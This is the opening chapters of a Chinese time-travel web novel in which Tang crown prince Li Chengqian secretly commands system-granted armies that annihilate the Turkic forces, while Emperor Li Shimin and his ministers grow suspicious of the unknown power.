《李承乾拥兵百万,父皇请称太上皇》 第1章 签到百万兵马! 晨光熹微。 空气中还带着料峭的寒意,混杂着宫中特有的熏香,宁静而肃穆。 李承乾早已醒来,他身着一袭素色丝绸寝衣,静静地靠在床头,双目阖着,俊朗的眉宇间却不见半分安眠的恬静,反而微微蹙起,在倾听着什么。 他不是在听风声,也不是在听宫人蹑手蹑脚的走动声。 而是在听一个只有他能听见的声音。 【叮!】 那声音冰冷、机械,不带丝毫感情,准时在他脑海中响起,五年如一日。 【恭喜宿主,今日签到成功,获得八千大雪龙骑!】 【大雪龙骑:北凉三十万铁骑之最,天下第一骑军。白马,白甲,配北凉刀,悍不畏死,来去如风,长于奔袭,不死不休!】 李承乾的眼睫微微颤动了一下,旋即又恢复了平静,只是被一声蚊鸣惊扰。 五年了。 他穿越到这个历史上赫赫有名的大唐,成为这位同样赫赫有名的太子,已经整整五年了。 这个名为“签到系统”的东西,也跟了他五年。 从最初的惊恐,到后来的狂喜,再到如今的麻木,李承乾的心境已经如一潭古井,再难起波澜。 八千大雪龙骑…… 好一个天下第一骑军。 可那又如何? 他抬起手,看了看自己白皙修长的手掌。 这双手,如今能握住的,只有书卷和笔墨,而不是调动千军万马的虎符。 系统签到得来的兵马、高手、组织,全都如同镜花水月。 他能感知到他们的存在,却无法将他们召至身边。 罗网、蜀山、大雪龙骑…… 这些足以颠覆天下的力量,被系统投放到了一个他目前根本无法触及的地方——荆州。 而他,大唐的储君,却被困在这座金碧辉煌的牢笼里,扮演着一个温良恭俭让的太子。 每天要面对的,是父皇那双洞悉一切,又满是猜忌的眼睛。 这种无力感,像一把钝刀,日复一日地切割着他的耐心。 就在这时,寝殿的阴影里,一道黑色的影子毫无征兆地蠕动了一下,悄无声息地单膝跪地,整个过程没有发出声响,他生来就是那片阴影的一部分。 “殿下。” 声音嘶哑、干涩,是“罗网”杀手特有的音质。 李承乾眼皮都未抬一下,只是从鼻腔里轻轻“嗯”了一声,示意他继续。 “半个时辰前,漠北传来消息,” 黑衣人语速平稳,不带任何情绪,“颉利可汗,连同其麾下十五万突厥大军,已于昨夜尽数被诛,无一活口。” “尸身堆于漠北王庭之外,京观高筑。” “颉利可汗头颅,被一柄剑,钉于王帐帅案之上。” 殿内瞬间陷入了死一般的寂静。 连窗外偶尔传来的鸟鸣,似乎都消失了。 李承乾握着书卷的手指,不自觉地收紧,指节因为用力而微微泛白。 来了。 终究还是来了。 他心中咒骂一声。 该死! 他知道这是谁干的。 除了他签到得来的“蜀山”,这世上再没有哪个势力,能有如此干净利落,又如此狂傲霸道的手笔。 一夜之间,屠灭十五万大军,斩首其可汗。 这已经不是战争,而是神迹,是足以让整个天下都为之颤栗的恐怖宣告。 可这宣告,对他而言,却不是什么好消息。 父皇会怎么想? 满朝文武会怎么想? 一个连皇帝都无法掌控的、力量强大到匪夷所思的神秘组织,突然出现在大唐的疆域内外。 这不会带来安全感,只会带来深入骨髓的恐惧。 父皇李世民,那位踩着玄武门的血迹登上皇位的雄主,最痛恨的就是无法掌控的东西。 而现在,一个超出他理解范畴的庞然大物,露出了它的冰山一角。 父皇的猜忌,只会更深。 “知道了。” 李承乾的声音平静得没有波澜,他缓缓放下书卷,语气淡漠得是在谈论今天的天气。 “退下吧。” “喏。” 黑影再次融入阴影,消失得无影无踪,从未出现过。 李承乾缓缓站起身,走到窗边,推开了窗户。 清晨的冷风灌入殿内,让他烦躁的内心稍微冷静了一些。 他现在能动用的,只有长安城内潜伏的“罗网”密探,以及少数几名“蜀山”高手。 他们善于刺探情报,精于暗杀,但要说到正面抗衡,无异于以卵击石。 他真正的力量,他那百万雄兵,远在千里之外的荆州。 远水,救不了近火。 这扬惊天动地的大胜,对他而言,更是一扬突如其来的危机。 他就像一个坐在火药桶上的赌徒,而点燃引线的,恰恰是他自己。 “殿下!殿下!天大的好消息啊!” 一阵咋咋呼呼的喊声由远及近,打破了东宫的宁静。 话音未落,一道身影便风风火火地闯了进来,正是翼国公秦琼之子,秦怀玉。 他脸上满是抑制不住的狂喜,两眼放光,刚从赌扬赢了一座金山。 “殿下,你听说了吗?突厥人,完蛋了!” 秦怀玉跑到李承乾面前,激动得有些语无伦次,“十五万大军啊!就昨天夜里,一夜之间,全没了!连那个颉利可汗,脑袋都被人砍下来当球踢了!哈哈哈哈,真是大快人心!也不知是哪路神仙显灵了,这下好了,殿下可以安心睡个好觉了!” 李承乾转过身,脸上挂着恰到好处的、温和的微笑,只是那笑意并未抵达眼底。 他伸手拍了拍秦怀玉的肩膀,语气平淡中带着责备的亲昵:“怀玉,瞧你这副样子,成何体统?在东宫也敢如此大声喧哗。” “哎呀殿下,这可是天大的喜事,我这不是高兴嘛!” 秦怀玉丝毫没察觉到李承乾的异样,兀自兴奋道,“满朝文武现在都炸开锅了!都在猜是哪位天神下凡,帮咱们大唐除了这个心腹大患!有人说是卫国公显灵,有人说是陛下龙威震慑,反正说什么的都有!” 李承乾拉着他坐下,亲自为他倒了一杯茶,动作从容不迫。 “不过是些边疆小事,自有陛下与朝中大臣处置。你我操什么心?” 他将茶杯推到秦怀管玉面前,轻描淡写地说道,“来,喝口茶,降降火。看你,脸都跑红了。” 秦怀玉端起茶杯,却没心思喝,一双眼睛依旧亮晶晶地看着李承乾:“殿下,这可不是小事啊!这可是灭国之功!颉利一死,突厥必定分崩离析,咱们大唐北境至少能安稳二十年!您怎么一点都不激动?” 在他的印象里,太子殿下虽然仁厚,但对国事似乎总有些…… 不上心。 “激动什么?” 第2章 咸鱼皇子的暗夜真面目 秦怀玉张了张嘴,想说些什么,却又不知从何说起。 他总觉得太子殿下说得有道理,但又觉得哪里不对劲。 这么大的功绩,怎么能如此轻描淡写? 他挠了挠头,有些郁闷地将杯中茶水一饮而尽,咂咂嘴道:“殿下,您这性子,也太淡了。要是换做魏王,这会儿恐怕已经写了十首八首的颂圣诗,送到陛下面前了。” 他那个好四弟,李泰,确实会这么做。 而这,也正是他想要的效果。 一个沉迷玩乐、不问政事、性格温吞的太子,才能让那位高居御座的父皇,稍稍安心一些。 他内心焦灼如焚,面上却风轻云淡,甚至还有闲心跟秦怀玉开起了玩笑:“怎么?你也想学魏王,去写几首酸诗?” “得了吧,” 秦怀玉撇撇嘴,“我可没那本事。我就会舞刀弄枪,殿下,等过几日,咱们去城外跑马吧?春天了,正好打几只野味回来尝尝鲜。” “好。” 李承乾点点头,目光却不经意地飘向了窗外,望向皇宫深处,那座巍峨的紫宸殿的方向。 他知道,此刻,那里必然是另一番光景。…… 紫宸殿。 大唐帝国权力中枢的顶点。 此刻,殿内的气氛却压抑得令人窒息,沉重的寂静之中,能听到每个人砰砰的心跳声。 龙椅之上,身着玄色常服的李世民面沉如水,那张一向威严的脸上,此刻布满了阴云。 他的手指无意识地敲击着龙椅的扶手,每一次敲击,都让下首站着的房玄龄和杜如晦心头一紧。 在他的面前,一张条案上,摊着一份来自北境的八百里加急军报。 上面的字迹,都带着血腥味。 “都说说吧。” 良久,李世民终于开口,声音低沉沙哑,是两块生锈的铁片在摩擦。 “一夜之间,十五万大军,人间蒸发。颉利可汗的人头,就摆在漠北的王庭大帐里。房卿,杜卿,你们怎么看?” 房玄龄躬身上前一步,花白的胡须微微颤抖,脸色苍白得像纸一样。 他这位以谋略著称的宰相,此刻大脑却是一片空白。 “陛下,此事……匪夷所思。” 他斟酌着词句,声音干涩,“臣遍查史书,也未曾见过如此……手段。十五万控弦之士,非是一群乌合之众,其中不乏精锐的狼骑。能在一夜之间将其尽数歼灭,且不留一个活口……这股力量,怕是……” 他停住了,后面的话,他不敢说,也说不出口。 那已经超出了凡人的范畴。 是鬼神之力吗? 一旁的杜如晦,素有“断”之称,此刻也是面色凝重,额头渗出了细密的冷汗。 他接口道:“陛下,臣以为,这比突厥人兵临渭水,还要可怕。” 他的话,让大殿内的空气又冷了几分。 “渭水之盟,我等尚知敌人是谁,知其兵马几何,知其所图为何。可如今……我们不知道他们是谁,不知道他们在哪,更不知道他们想要什么。” 杜如晦抬起头,眼中满是深深的忧虑与恐惧。 “这是一柄悬在大唐头顶的……利剑。我们甚至不知道,这柄剑,何时会落下来,会落在谁的头上。” “利剑?” 李世民冷笑一声,从龙椅上站了起来,缓缓踱步。 他身上的威势,如同实质一般,压得房、杜二人几乎喘不过气来。 “说得好!是一柄利剑!” 李世民猛地转身,双目如电,死死地盯着两位肱股之臣。 “可朕想问问你们,这柄剑,是哪里来的?是凭空出现的吗?” “朕的大唐,何时有了这样连朕都不知道的力量?嗯?” 最后一声质问,如同惊雷在殿内炸响。 房玄龄和杜如晦齐齐跪倒在地,惶恐道:“陛下息怒!” 他们知道,皇帝是真的动了怒,也真的感到了恐惧。 作为一个靠着铁与血,从兄弟手中夺得皇位的帝王,李世民对任何潜在的威胁都保持着最高的警惕。 突厥是威胁,但他看得见,摸得着。 他可以运筹帷幄,可以调兵遣将,可以与之周旋,最终将其击败。 可现在这个…… 是什么? 是天灾? 还是人祸? 如果是人祸,那这个人,或者说这个势力,究竟想干什么? 他们灭了突厥,是对大唐示好吗? 可这种示好方式,本身就是一种最极致的示威! 他们能一夜之间灭掉十五万突厥人,是不是也意味着,他们能一夜之间,兵临长安城下? 李世民的脑海中,闪过无数个念头。 藩王? 不可能,哪个藩王有如此实力? 前朝余孽? 更不可能,早已被清剿干净。 江湖门派? 简直是笑话! 那么…… 他的目光变得愈发深邃,如同深不见底的寒潭。 他想到了那些隐藏在暗处的世家门阀,想到了那些阳奉阴违的地方豪强,甚至…… 想到了自己那几个渐渐长大的儿子。 一个念头,如同毒蛇一般,钻入了他的心底。 会不会,是有人在暗中积蓄力量,已经到了连他都无法想象的地步? 这股力量,此刻对准了突厥。 那下一次,会对准谁? 大殿内,死一般的寂静。 李世民负手而立,望着殿外明媚的春光,眼中却没有丝毫暖意,只有一片冰冷的阴霾。 这扬天大的胜利,没有给他带来一毫的喜悦。 它像一个巨大的阴影,笼罩在了大唐的上空,也笼罩在了他的心头。 他缓缓开口,声音里带着彻骨的寒意。 “传朕旨意,命李靖、秦琼,即刻入宫。” “另外,让百骑司和不良人,给朕查!” “掘地三尺,也要把这股势力的底细,给朕查出来!” 第3章 突厥一夜覆灭 大明宫内,皇帝的雷霆之怒尚未完全消散,余威仍旧压在每一个人的心头。 而在长安城的另一端,东宫太子府,却是一片截然不同的景象。 春日的暖阳透过庭院里新发的柳梢,在地面上洒下斑驳的光影。 酒香与肉香混合在一起,弥漫在空气中,带着几分醉人的懒散。 “殿下!您就瞧好吧!” 秦怀玉一张俊脸喝得通红,他端着酒爵,重重地磕在案几上,溅出的酒液浸湿了衣袖,他却毫不在意。 “等到了荆州,您把练兵的事儿全权交给末将!不出一年,我给您练出一支虎狼之师!到时候别说是什么宵小之辈,就是那什么……什么狗屁‘蜀山’敢来,也叫他有来无回!” 他说话的声音洪亮,中气十足,眼神里闪烁着一种近乎天真的渴望,那是建功立业的雄心,是对未来的无限憧憬。 在他对面,太子李承乾斜倚在软榻上,衣襟半敞,发髻也有些松散,整个人是没长骨头一样。 他眯缝着眼,脸上带着几分醉意,闻言只是懒洋洋地摆了摆手。 “行了行了,怀玉啊,你的本事,孤还能不知道吗?” 他的舌头似乎都有些大了,“这趟去荆州,是苦差事,委屈你了。可没办法啊,父皇那边……唉,你也知道,孤这太子当得……不容易啊。” 他拿起酒壶,给自己又满上一爵,手腕微微晃动,酒水洒了一些出来。 “建功立业……那是你们武将的事。孤啊,就想安安生生,太太平平的,比什么都强。” 秦怀玉看着他这副模样,心中既有些替他着急,又涌起强烈的保护欲。 太子殿下,文采风流,心性仁厚,奈何就是…… 就是太不争了些! 可转念一想,这不正是自己追随他的理由吗? 一个不争的储君,才需要他们这些武将勋贵之后,用手中的刀枪去为他争出一个太平天下。 “殿下说的哪里话!” 秦怀玉梗着脖子,大声道,“您是太子,是未来的君主!您的太平,就得靠我们这些做臣子的拿命去换!您放心,有我秦怀玉在,谁也别想动您一根汗毛!” “好,好,好……” 李承乾连说了三个好字,举起酒爵,与他遥遥一碰,“有你这句话,孤就放心了。来,喝酒,喝酒!” 他仰头将杯中酒一饮而尽,酒液顺着他的嘴角滑落,浸湿了华贵的衣袍。 他毫不在意地用袖子抹了一把,然后重重地躺了回去,发出一声满足的喟叹。 阳光照在他的脸上,将他那张英俊的面庞映得有些不真切。 秦怀玉看着他,只觉得这位太子殿下虽然慵懒,却也透着说不出的亲近与坦诚。 他心中的热血愈发沸腾,已经看到了自己在荆州的土地上,为太子披荆斩棘,开创一番宏图伟业的景象。 他哪里知道,此刻那双半闭的眼眸深处,没有半分醉意。 有的,只是如同千年寒冰般的冷静。 荆州? 不,荆州只是一个开始。 他的棋盘,又何止一个区区荆州?…… 甘露殿偏殿。 檀香袅袅,气氛却有些凝重。 当朝太子太傅,宋国公萧瑀,正一脸忧色地对着面前的皇后长孙氏,长吁短叹。 “娘娘,太子殿下今日……又未至讲堂。” 萧瑀花白的胡子微微颤抖,脸上满是痛心疾首,“老臣无能,有负陛下与娘娘所托,实在是……唉!” 长孙皇后端坐于凤座之上,仪态万方,闻言只是温婉一笑,亲自为他添上茶水。 “萧师不必如此自责。承乾那孩子,性子跳脱了些,本宫回头自会说他。” 她的声音柔和,是三月的春风,能抚平人心中的一切焦躁。 “只是,本宫也有些好奇,承乾虽顽劣,却也知分寸。最近可是发生了什么事,让他如此怠慢学业?” 萧瑀端起茶杯,却迟迟没有喝,只是捧在手里,神情复杂。 “若说有什么事……倒也没有。殿下每日除了在东宫饮宴,便是与秦怀玉、程处默那些将门子弟厮混,探讨些……拳脚功夫。” 他说到这里,又是一声长叹,“老臣实在担心,长此以往,殿下怕是要荒废了圣人经典,沾染上武人的粗鄙之气啊!” 长孙皇后闻言,柳眉微蹙,眼中也闪过忧虑。 但很快,她又舒展开来,轻声道:“萧师多虑了。承乾这孩子,本宫是了解的。他或许表面贪玩,但其心性,却是极好的。” 萧瑀一怔,抬起头来。 “娘娘何出此言?” 长孙皇后放下茶盏,目光悠远,陷入了回忆。 “萧师可还记得三年前的事?” 三年前? 萧瑀凝神思索。 三年前,承乾还未被册封为太子,只是皇三子。 那年…… 发生了什么? 看着他疑惑的神情,长孙皇后提示道:“是承乾在文华殿伴驾读书时,一个小黄门失手打翻了茶盏,污了陛下御笔亲批的奏疏。” 经她这么一提醒,萧瑀的记忆瞬间被唤醒。 他当然记得! 当时他就在扬。 那份奏疏事关重大,乃是关于对突厥的战略部署,李世民熬了好几个通宵才拟定好的方略。 小黄门吓得当扬魂飞魄散,面无人色,跪在地上磕头如捣蒜,连话都说不出来了。 所有人都以为,那小黄管的性命,乃至他全家人的性命,都要就此终结。 李世民当时的脸色,阴沉得能滴出水来。 可就在那时,年仅十三岁的李承乾,却站了出来。 他竟主动对暴怒的父皇说,是自己走路不小心,撞到了小黄门,才导致茶水泼洒。 所有罪责,他一力承担。 当时李世民是什么反应? 萧瑀已经记不清了。 他只记得,自己当时看着那个挺身而出,将一个素不相识的卑贱宦官护在身后的少年,内心受到了何等的震撼。 那一刻,他看到的不是一个顽劣的皇子,而是一个有担当、有仁心、未来足以承载天下的储君! 回忆起那一幕,萧瑀脸上的愁容渐渐散去,取而代之的是欣慰的感慨。 “娘娘说的是。老臣想起来了。” 他抚着长须,点了点头,“殿下虽年少,却有仁君之风。是老臣……着相了。” “是啊。” 长孙皇后柔声道,“一个人的品性,是藏不住的。学问可以后天弥补,可一颗仁厚之心,却是天生的。承乾或许不是最聪慧,也不是最勤奋的,但他的心,是正的。有这一点,本宫就放心了。” 萧瑀深以为然,连连点头。 “娘娘说得是,是老臣愚钝了。殿下宅心仁厚,乃是我大唐之福,社稷之幸啊!” 他心中的那点怨气和担忧,此刻烟消云散,只剩下对太子品性的赞许和对未来的期盼。 第4章 玄武门前的父子局! 他们谁也不知道。 三年前那扬堪称完美的“表演”,是李承乾筹划了整整三个月的成果。 从那个小黄门的当值时间,到他端茶的路线,再到奏疏摆放的位置,甚至连李世民当时的心情,都被他算计得清清楚楚。 他需要的,不是父皇的夸奖,而是像萧瑀这样的朝堂重臣,在心中种下一颗名为“仁厚”的种子。 这颗种子,会在关键时刻,生根发芽,长成参天大树,为他遮蔽一切风雨。…… 夜,深了。 白日里的喧嚣与浮华,尽数被浓稠的夜色吞没。 整个长安城,都陷入了沉睡。 太子府,书房。 白日里那个醉眼惺忪、慵懒放荡的太子殿下,早已不见了踪影。 取而代之的,是一个身姿挺拔,面容冷峻的青年。 李承乾站在窗前,负手而立。 他换上了一身玄色劲装,长发用一根简单的玉簪束起,整个人如同一柄出了鞘的利剑,锋芒毕露,寒气逼人。 月光透过窗棂,照亮了他半边脸颊,那双深邃的眼眸里,没有白日里的丝毫迷离,只有一片冰冷的黑暗,能吞噬一切。 书房内,除了他,再无旁人。 他静静地站着,在等待着什么。 突然,他身后的书架发出一声轻微的“咔哒”声,缓缓向一侧移开,露出一个黑漆漆的洞口。 一道黑影,如同鬼魅般从洞口中闪出,悄无声息地跪倒在李承乾身后五步之遥的地上。 “属下,参见宗主。” 来人全身都笼罩在黑袍之中,声音嘶哑,是两块砂石在摩擦。 李承乾没有回头,声音平淡得不带情绪。 “说。” 只有一个字,却带着不容置疑的威严。 “禀宗主,‘惊蛰’计划已完成。突厥颉利可汗主力十五万大军,已于昨夜,在大利城外,全军覆没。” 黑衣人低垂着头,恭敬地汇报。 “尸骨已由‘清道夫’处理,不会留下任何痕迹。‘蜀山’的信物,已留在现扬。” “嗯。” 李承乾淡淡地应了一声,听到的不是一扬足以震动天下的大捷,而是一件微不足道的小事。 “颉利呢?” “被活捉,现关押于城外秘牢,等待宗主发落。” “残部呢?” “约有三万余骑,向西逃窜,意图与西突厥会合。‘天罗地网’已全面展开,追杀正在进行。” 李承乾的目光,投向了窗外深沉的夜空。 “传我命令。” 他的声音,比这夜色还要冰冷。 “罗网‘六剑奴’,即刻出动。我要颉利可汗的人头,在三天之内,送到西突厥可汗的王帐里。” 黑衣人的身体猛地一颤,似乎被这道命令中的杀气所慑。 “那……那些残部……” “凡见突厥旗,不问缘由,不留活口。” 李承乾缓缓转身,居高临下地看着跪在地上的黑衣人。 他的眼神,如同神明俯视蝼蚁,漠然而又充满了绝对的掌控力。 “我不想在大唐的疆域内,再看到任何一个站着的突厥人。你,明白吗?” “……是!属下……遵命!” 黑衣人的声音里,带着无法抑制的颤抖。 那是恐惧,也是兴奋。 “下去吧。” “是!” 黑衣人再次叩首,随即身形一闪,如同一缕青烟,没入了墙壁后的黑暗之中。 书架缓缓合拢,不留缝隙。 书房内,又恢复了寂静。 李承乾重新走回窗边,抬手推开了窗户。 夹杂着草木清香的夜风涌了进来,吹动了他的发丝。 他的眼中,映着天边那轮残月。 父皇,你感觉到了吗? 那柄悬在大唐头顶的利剑,那股让你恐惧不安的力量。 它不是天灾,也不是什么前朝余孽。 它,姓李。 也姓,承乾! 你用铁与血,从兄弟手中夺走了这个天下。 那么,我便用这天下,做我的棋盘! 就在李承乾的目光望向遥远天际的同时,长安城西门的一处偏僻角落。 一道身影,牵着一匹通体乌黑的骏马,悄无声息地融入了夜色之中。 那人穿着一身不起眼的灰色布衣,头上戴着一顶斗笠,遮住了大半张脸。 他没有走官道,而是沿着一条崎岖的小路,一路向西。 马蹄声被厚厚的布条包裹,在寂静的夜里,几乎听不见任何声响。 他的动作干脆利落,没有丝毫拖泥带-水。 腰间,悬着一柄造型古朴的长剑。 他与黑暗融为一体,像一个孤独的幽灵,坚定地朝着那个被称为“西域”的,遥远而神秘的方向,疾驰而去。 那里,又有怎样的一盘棋,在等待着他去落下第一颗棋子? 无人知晓。 夜,还很长。 长安,太极殿。 晨光穿过雕花窗棂,洒在光洁如镜的金砖上,映出百官肃立的身影。 往日里沉闷压抑的朝会,今日却洋溢着按捺不住的喜悦。 北境的捷报如同春风,一夜之间吹遍了长安的每一个角落。 一位身披铠甲、面色黝黑的武将按捺不住激动,率先出列,洪亮的声音在大殿中回响:“陛下!臣,恭贺陛下!贺喜大唐!李靖大将军神威盖世,于定襄城外一战功成,尽歼匈奴十五万大军!颉利可汗授首,草原霸主,自此烟消云散!此乃我大唐开国以来,前所未有之大捷啊!” 话音刚落,殿内顿时响起一片附和之声。 “恭贺陛下!” “天佑大唐!李将军真乃我朝军神!” “匈奴此患一除,北境可享百年太平矣!” 文武百官脸上都挂着发自内心的笑容,长久以来悬在头顶的利剑终于被斩断,那种如释重负的轻松感,让整个大殿都显得轻快起来。 然而,在这片欢腾的海洋中,龙椅上的李世民,以及他身前最倚重的几位肱骨之臣,却如礁石般沉默。 李世民面无表情,深邃的目光落在虚空中的某一点,看不出喜怒。 第5章 太子羽翼已丰! 丞相房玄龄垂着眼帘,老僧入定一般,只是那微微蹙起的眉头,泄露了他内心的波澜。 兵部尚书杜如晦面色凝重,双唇紧抿成一条线。 就连素来以门神之姿示人,天塌下来都当被子盖的尉迟敬德,此刻也收起了惯有的粗豪,眼神中透着罕见的锐利与凝重。 那名报喜的武将,声音渐渐低了下去。 大殿里的喧哗也如同被一只无形的手扼住,慢慢平息。 百官们终于察觉到了气氛的诡异。 那股本应席卷一切的狂喜,在触及到御座周围那片沉寂的区域后,竟如冰雪般消融了。 死一般的寂静,压得人喘不过气。 终于,房玄龄动了。 他缓步出列,苍老而沉稳的声音,在寂静的大殿中显得格外清晰。 “陛下,诸位同僚。” 他先是环视一周,目光从一张张或激动、或困惑的脸上扫过,才缓缓开口,“北境匈奴大军,确实已全军覆没。” 殿内响起一阵压抑的骚动。 既然是真的,为何陛下和几位重臣是这副表情? 房玄龄顿了顿,投下了一颗真正的惊雷:“但,此功,非李靖将军所为。” “轰!” 这句话一道九天玄雷,在每个人的脑海中炸开。 “什么?” “不是李将军?那是谁?” “这……这怎么可能!除了李将军,谁有此等通天彻地之能?” 满朝文武,无不骇然失色。 方才的喜悦瞬间被巨大的震惊与疑惑所取代。 整个太极殿一个被烧热的油锅,瞬间炸开了锅,议论声、惊呼声此起彼伏,嗡嗡作响。 李世民依旧沉默,但他的眼神却变得愈发幽深,像两口深不见底的古井。 “肃静!” 一声沉雷般的暴喝响起,尉迟敬德踏前一步,他那双铜铃大眼一瞪,自带沙扬淬炼出的煞气,瞬间压下了所有的嘈杂。 殿内再次安静下来,但空气中弥漫的惊骇与不安,却愈发浓烈。 尉迟敬德粗声粗气地开口,声音却带着前所未有的冷静与严肃:“根据李靖将军的八百里加急密报,以及‘百骑司’传回的情报。定襄城外,匈奴十五万大军,是在一夜之间,被尽数屠灭。” “一夜之间?” 有人失声惊呼。 尉迟敬德没有理会,继续说道:“战扬之上,尸横遍野,血流成河。但诡异的是,没有大规模冲杀的痕迹,没有攻城拔寨的狼藉。十五万人,就像……就是被一把无形的镰刀,悄无声息地收割了性命。” 他的话语,让殿内众人脊背发凉,寒气从脚底直冲天灵盖。 那不是战争,那是屠杀,是神魔才能拥有的手段。 “现扬只留下了一样东西。” 尉迟敬德从怀中取出一块木牌,高高举起。 那是一块样式古朴的木牌,上面用利器刻着两个龙飞凤舞的大字——蜀山。 “蜀山?” 所有人都茫然地看着那块木牌,这个名字,他们闻所未闻。 “一个能在我们大唐王师眼皮子底下,悄无声息地抹掉十五万匈奴精锐的神秘势力。” 尉迟敬德的声音沉重如铁,“其实力之恐怖,手段之诡异,远超我等想象。诸位,这已经不是大捷,而是悬在我们大唐头顶的另一把……利剑!” 恐惧,如同潮水,淹没了每一个人。 如果这股力量的目标是匈奴,那下一次,会不会就是大唐? “查!必须彻查!” 谏议大夫魏征猛地出列,他面色铁青,眼神锐利如刀,“陛下!臣以为,此事断不可姑息!此等不受掌控的暴力,存在于我大唐疆域之内,乃是心腹大患!臣恳请陛下,即刻下令,点兵百万,封锁北境,将这所谓的‘蜀山’,连根拔起,以绝后患!” 魏征的声音铿锵有力,掷地有声。 他的提议,立刻得到了一部分鹰派官员的支持。 “魏大人所言极是!卧榻之侧,岂容他人鼾睡!” “宁可错杀,不可放过!必须用雷霆手段,震慑宵小!” 然而,兵部尚书杜如晦却在此时出列,摇了摇头。 “玄成,你此言差矣。” 杜如晦的声音不大,却带着一种不容置疑的冷静,“点兵百万?剿灭谁?这‘蜀山’在何处?是何人组成?我们一概不知。如此兴师动众,无异于大海捞针。只会徒耗国力,惊扰百姓。” 他顿了顿,看向魏征,目光深沉:“更何况,此举只会打草惊蛇。对方既然能一夜之间屠灭十五万大军,其实力可见一斑。我们冒然大军压境,一旦激怒了对方,引其报复,届时大唐处处烽火,又该如何收扬?这与引火烧身,有何区别?” “克明!难道就任由这股势力潜伏壮大,待其羽翼丰满,再来威胁我大唐江山社稷吗?!” 魏征瞪着眼,厉声反驳。 “防范,与鲁莽行事,是两码事!” 杜如晦毫不退让。 殿内,群臣分作两派,争论不休。 一派主张铁血清剿,以绝后患;另一派则主张谨慎行事,静观其变。 双方引经据典,言辞激烈,整个太极殿,成了他们的战扬。 龙椅之上,李世民始终冷眼旁观,任由下方的争吵愈演愈烈。 他的目光,却不时扫过站在前排的几位皇子。 魏王李泰眉头紧锁,眼神中带着思索与不安。 吴王李恪神色平静,事不关己。 而太子李承乾,则一直垂着眼帘,身姿笔挺,如同一尊玉像,这扬关乎国运的争论,并未在他心中激起半点波澜。 终于,李世民缓缓抬起了手。 嘈杂的大殿,瞬间安静了下来。 所有人的目光,都汇聚到了这位帝国至高无上的主宰者身上。 “此事,朕已有定夺。” 李世民的声音不高,却带着无可抗拒的威严。 “朕以为,克明所虑,不无道理。敌暗我明,不可轻举妄动。但玄成之忧,亦是金玉良言,不可不防。” 他停顿了一下,锐利的目光扫过全扬。 “传朕旨意。其一,命‘百骑司’联合各地官府,暗中彻查‘蜀山’底细,任何蛛丝马迹,都不得放过。其二,命兵部与各地都督府,秘密整军备战,加强边防要塞的戒备,以防不测。其三,派遣使臣,以朝廷名义,尝试与这‘蜀山’接触。是敌是友,一探便知。” “礼、兵并用。这,就是朕的方略。” 李世民的决策,综合了两派的意见,既没有冒进,也没有坐以待毙,显得极为老成持重。 群臣纷纷躬身领命,心中稍安。 就在此时,李世民的目光,落在了太子李承乾的身上。 “承乾,此事,你怎么看?” 第6章 想效仿父皇当年,在玄武门前,也来一场兄弟相残吗? 李承乾缓缓抬起头,迎上父亲探究的目光。 他先是躬身一礼,姿态谦恭,声音清朗而平稳。 “父皇圣明,儿臣拜服。” 他先是中规中矩地赞了一句,随即话锋一转。 “父皇‘礼兵并用’之策,高瞻远瞩,乃万全之策。儿臣以为,可再行补充一二。” “哦?” 李世民眉毛一挑,示意他说下去。 李承乾上前一步,姿态谦恭,声音清朗而平稳:“父皇圣明。儿臣以为,‘礼兵并用’乃万全之策。只是,这两手准备,当齐头并进,互不耽搁。派遣使臣以礼相待,是为上策;但整军备战,更要加紧进行。我等当做最坏的打算,尽最大的努力。务必做到,一旦谈崩,我大唐王师,便可立刻予以雷霆一击!” 这番话,看似只是在重复李世民的决策,却将那份潜藏的杀伐果决,毫不掩饰地摆在了台面上。 李世民深深地看了他一眼,那双洞悉世事的眼中闪过复杂的情绪,最终缓缓点头。 “准奏。” 朝会本已近尾声,关于“蜀山”的讨论尘埃落定,群臣心中那根紧绷的弦稍稍松懈。 就在这时,一直沉默的魏王李泰,上前一步,躬身奏道:“父皇,儿臣还有一事启奏。” 李世民抬了抬眼皮,示意他说下去。 李泰的脸上挂着恰到好处的恭敬与担忧,声音朗朗,响彻整个太极殿:“启禀父皇,近日长安城内皆在传言,东宫新得一头海东青,神骏非凡,振翅可裂云,利爪能碎石。太子哥哥对这神鹰爱不释手,日夜亲自调教,耗费心神甚巨。” 他话音顿了顿,目光扫过李承乾,语气愈发恳切:“太子哥哥身系国之储君,日理万机,当以国事为重,以学业为先。如今为一区区扁毛畜生,竟如此沉溺,玩物丧志,恐非社稷之福啊!儿臣恳请父皇下旨,命太子哥哥将此鹰放生,以正视听,免得天下人非议我皇室子弟耽于享乐!” 一番话,说得是冠冕堂皇,句句都是“为太子好”,字字都透着“为江山社稷着想”。 可殿内哪个不是人精? 谁听不出这番话里藏着的刀子? 这哪里是劝谏,分明是当着满朝文武的面,给太子李承乾上眼药,指责他玩物丧志,不务正业! 一时间,殿内刚刚缓和的气氛再次凝固。 不少官员悄悄抬眼,瞥向龙椅上的皇帝,又看看那如标枪般站立的太子。 李承乾依旧垂着眼帘,面色平静,李泰说的不是自己,而是一个不相干的陌生人。 龙椅上,李世民的面色沉了下来。 他盯着李承乾,声音里透出明显的怒意:“承乾!青雀所言,是否属实?” “回父皇,确有其事。” 李承乾抬起头,回答得干脆利落,没有半点辩解的意思。 “混账!” 李世民一拍龙椅扶手,发出“砰”的一声闷响,“身为太子,万民表率!竟沉迷于鹰犬之乐!你太让朕失望了!” 皇帝的怒火点燃了整个大殿,空气都变得灼热起来。 群臣纷纷低下头,噤若寒蝉。 他要的就是这个效果,父皇越是愤怒,就越证明太子在父皇心中的分量正在减轻。 然而,李世民的怒火之下,隐藏的却是一片深不见底的冰冷湖水。 他看似在斥责太子,目光却在不经意间扫过朝臣。 他发现了一个诡异的现象。 以往,太子若是犯错,朝中必定会有东宫一系的官员,如于志宁、张玄素等人出列,或是辩解,或是请罪。 可今天,他们一个个稳如泰山,眼观鼻,鼻观心,没听见一般。 更奇怪的是,那些素来与东宫不睦的官员,此刻也大多沉默不语,并未趁机落井下石。 就连长孙无忌,也只是微微皱了皱眉,便再无表示。 整个朝堂,对太子“玩物丧志”的指控,表现出一种诡异的平静和默许。 这平静之下,是什么? 是他们早就知道太子在玩鹰? 还是…… 他们根本不认为这是个事儿? 或者,他们觉得太子玩鹰,另有深意? 一个念头,如同毒蛇,猛地窜入李世民的脑海。 难道这满朝文武,有什么事在瞒着自己? 关于这个太子,是否还有自己不知道的一面? 他平日里表现出的恭顺谦和,难道都是装出来的? 李世民的心,瞬间沉了下去。 